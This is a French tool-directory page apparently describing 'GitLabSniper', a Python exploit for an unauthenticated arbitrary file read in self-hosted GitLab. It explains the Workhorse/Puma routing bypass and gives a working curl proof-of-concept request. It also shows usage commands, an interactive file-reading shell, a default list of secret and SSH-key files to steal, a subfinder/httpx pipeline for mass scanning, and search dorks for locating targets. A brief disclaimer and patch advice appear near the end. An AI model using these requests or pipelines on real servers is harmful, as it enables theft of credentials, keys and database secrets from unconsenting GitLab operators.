Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
GitLabSniper — Scanner et exploit Python en un seul fichier pour CVE-2026-85706, une lecture de fichier arbitraire non authentifiée dans GitLab CE/EE auto-hébergé, avec énumération de projets, chemins de collecte et un shell interactif. | Kitploit
Outils/GitHubGitHub/ynsmroztas/gitlabsniper
ReconnaissanceScanners de VulnérabilitésExploitationScripting et AutomatisationExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsSécurité WebTests d'Intrusion
GitHubynsmroztas/gitlabsniper

GitLabSniper

Scanner et exploit Python en un seul fichier pour CVE-2026-85706, une lecture de fichier arbitraire non authentifiée dans GitLab CE/EE auto-hébergé, avec énumération de projets, chemins de collecte et un shell interactif.

2il y a 16h 54mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

GitLabSniper — pipeline de lecture de fichiers non authentifiée CVE-2026-85706

GitLabSniper

CVE-2026-85706 — lecture arbitraire de fichiers non authentifiée sur GitLab CE/EE
détection · énumération de projets publics · collecte · shell interactif · pipeline subfinder/httpx


Auteur : Yunus Emre Öztaş (mitsec)
X : x.com/ynsmroztas
GitHub : github.com/ynsmroztas
Site : ynsmroztas.github.io
Mail : [email protected]

À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test (bug bounty / VDP / contrat écrit).


Présentation

GitLabSniper.py est un scanner/exploit Python en un seul fichier pour CVE-2026-85706 : une lecture de fichier locale non authentifiée dans les éditions Community et Enterprise de GitLab auto-hébergé.

Il ne s'arrête pas à « la version semble affectée ». Il déclenche le contournement par différentiel d'analyseur de Workhorse, classe la réponse de Rails, et n'affiche FILE LEAK que lorsque le corps de la réponse 400 contient les octets du fichier à l'intérieur de invalid %-encoding (...).

BandeVersions
Affectées18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1
Corrigées19.1.8 / 19.2.6 / 19.3.2 (2026-09-10)
Hors périmètregitlab.com · GitLab Dedicated

Fonctionnement de la vulnérabilité

Trois endpoints de dépôt se trouvent derrière le requestBodyUploader de Workhorse :

  • POST /api/v4/projects/:id/repository/commits
  • POST /api/v4/projects/:id/repository/files/:file_path
  • PUT /api/v4/projects/:id/repository/files/:file_path

Rails prend le champ brut file.path et exécute File.open avant authenticate!. require_gitlab_workhorse! n'est pas une véritable barrière ici : Workhorse appose déjà un JWT Gitlab-Workhorse-Api-Request valide sur tout ce qu'il proxifie.

Workhorse était censé réécrire l'upload au préalable. Sa regex de route correspond à EscapedPath() et à un clone path.Clean qui ne décode jamais le pourcentage. Puma, lui, décode %XX avant le routage Grape.

root@kitploit:~
Attaquant
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← le slash final passe aussi
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     la regex voit "%63ommits" / "commits/"  → ÉCHEC  (pas de réécriture)
        │
        ▼
Puma          décode %63 → commits                 → ROUTE vers Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → AVANT l'auth
        │
        ▼
Rack          parse_nested_query(File.read(path))
              "%" isolé qui n'est pas %HH
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding (<octets bruts du fichier>)

file= vide satisfait requires :file, WorkhorseFile (vide → nil). Le canal de fuite est la branche urlencoded. JSON/Oj ne renvoie pas les octets du fichier de la même manière — l'outil envoie toujours Content-Type=application/x-www-form-urlencoded.

//, /./, %2F et ; ne contournent pas : path.Clean normalise les deux premiers et Puma rejette %2F.

L'id de projet n'est pas « quel dépôt voler ». file.path est un chemin serveur absolu. L'id n'est que le fragment d'URL qui atteint le contrôleur vulnérable.

C'est pourquoi l'outil énumère GET /api/v4/projects et ignore les ids restreints.

Une fuite confirmée exige cette sous-chaîne dans le corps :

root@kitploit:~
invalid %-encoding (

Les fichiers sans % isolé peuvent tout de même être ouverts (read-noecho / plus tard branch is required) mais ne seront pas renvoyés. C'est un oracle, pas un dump exploitable.


Fonctionnalités

  • Empreinte GitLab (HTML / x-gitlab-* / sign-in) + plage de versions lorsqu'elle est visible
  • Énumération de projets publics (GET /api/v4/projects)
  • Sélection automatique d'un id de projet non restreint (repli 1..7)
  • Matrice de contournement Workhorse
    • %63ommits · %72epository · %66iles
    • slash final · .json
    • POST + PUT sur files
  • Classificateur de réponses : leak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute

Installation

root@kitploit:~
pip install requests
python3 GitLabSniper.py -h

Python 3.10+. Aucune autre dépendance.


Utilisation

Hôte unique

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto

Shell interactif

root@kitploit:~
python3 GitLabSniper.py -u https://gitlab.example.com --shell
root@kitploit:~
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit

Pipeline (subfinder + httpx)

root@kitploit:~
subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin n'est pas un TTY → --pipe est implicite
cat hosts.txt | python3 GitLabSniper.py --auto

L'analyseur accepte :

  • https://gitlab.example.com
  • https://gitlab.example.com [200] [GitLab] [nginx]
  • objets httpx -json (url / status_code)
  • host et host:port bruts
  • ignore les lignes [0] / timeout / vides

Options

Codes de sortie : 0 fuite · 1 oracle seul / pas de fuite en pipe · 2 aucun signal exploitable.


Verdicts

Ne déposez pas un rapport critique sur la seule base de read-noecho.


Chemins de collecte par défaut

root@kitploit:~
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ

Impact maximal lorsqu'ils sont renvoyés : secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, mot de passe DB).


PoC manuel (même requête que celle émise par l'outil)

root@kitploit:~
curl -sk -X POST \
  "https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"

Une instance vulnérable renvoie un JSON similaire à :

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n  gitlab:\n    host: gitlab.example.com\n ... )"}

Sur certains hôtes, %63ommits renvoie 401 et c'est /repository/commits/ (slash final) qui fuit. L'outil parcourt toutes les variantes.


Aide à la reconnaissance

root@kitploit:~
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"

À combiner avec subfinder | httpx | GitLabSniper.py --pipe --auto.


Avertissement

Ce dépôt est destiné aux tests de sécurité autorisés et à la validation défensive après correction. Vous êtes responsable du périmètre.

Si vous exploitez une instance GitLab auto-hébergée dans la plage affectée : mettez à niveau vers 19.1.8 / 19.2.6 / 19.3.2 dès maintenant. Recherchez dans les logs d'accès les POST /api/v4/projects/*/repository/commits avec un paramètre de requête file.path.


Crédits

Vulnérabilité signalée par s3ntago via GitLab HackerOne.

Write-up et PoC original sur lesquels cet outil est construit :

https://github.com/guneykabel/cve-2026-85706

Merci à guneykabel pour la publication d'un classificateur clair (leak / missing / project-gate / rewrite) et pour l'explication du différentiel Workhorse ↔ Puma. GitLabSniper enveloppe ce modèle avec l'énumération de projets, la collecte, le shell et les pipelines de reconnaissance.

Avis / correctifs GitLab : CE/EE 19.1.8, 19.2.6, 19.3.2.


Auteur

Yunus Emre Öztaş · mitsec

  • X — x.com/ynsmroztas
  • GitHub — github.com/ynsmroztas
  • Web — ynsmroztas.github.io
  • Mail — [email protected]
Télécharger l’outil
EndpointExigence de projet
files (%66iles)N'importe quel id fonctionne souvent — File.open est avant les vérifications de projet
commits (%63ommits, commits/, commits.json)Nécessite un projet qu'un utilisateur anonyme peut read_code. Sinon 404 Project Not Found
  • Liste de collecte --auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, clés ssh, environ)
  • Forme de requête fonctionnelle mémorisée après la première fuite
  • Shell interactif (cat, loot, secrets, passwd, project <id>, curl)
  • Pipeline : hôtes bruts, httpx -sc -td -title, httpx -json, ANSI supprimé
  • Rapport JSON / JSONL (-o)
  • Bannière HIT colorisée + PoC curl prêt à copier-coller
  • OptionSignification
    -u / -t / --targetURL de base unique
    --pipeLit les cibles depuis stdin
    -f / --listFichier d'hôtes
    --fileUn chemin absolu à lire
    --auto / --lootListe de fichiers GitLab à forte valeur
    --shellShell interactif de lecture de fichiers
    --project-idForce l'id de projet (défaut : énumération + repli)
    --max-projectsLimite les ids d'énumération/repli (défaut 8)
    --forceScanne même si l'empreinte est faible
    --threadsWorkers du pipeline (défaut 8)
    --timeoutSecondes (défaut 15)
    -ohits.json ou hits.jsonl
    -qSilencieux
    --no-bannerPas de bannière
    TagSignificationRapport ?
    leakinvalid %-encoding ( + octets du fichierOui — confirmé
    leak-fragmentÉcho partielPeut-être, joindre le corps
    read-noecho401 / branch is required après ouverture, pas de % dans le fichierOracle uniquement
    missinglocal file not present — le contournement a atteint le disqueOracle d'existence
    project-gate404 Project Not FoundEssayer un autre id public
    rewriteWorkhorse a réécrit le corps (Invalid json)Cette forme est morte
    noroute404 simpleCorrigé ou mauvais chemin
    other500 / résiduelVider le corps avant de conclure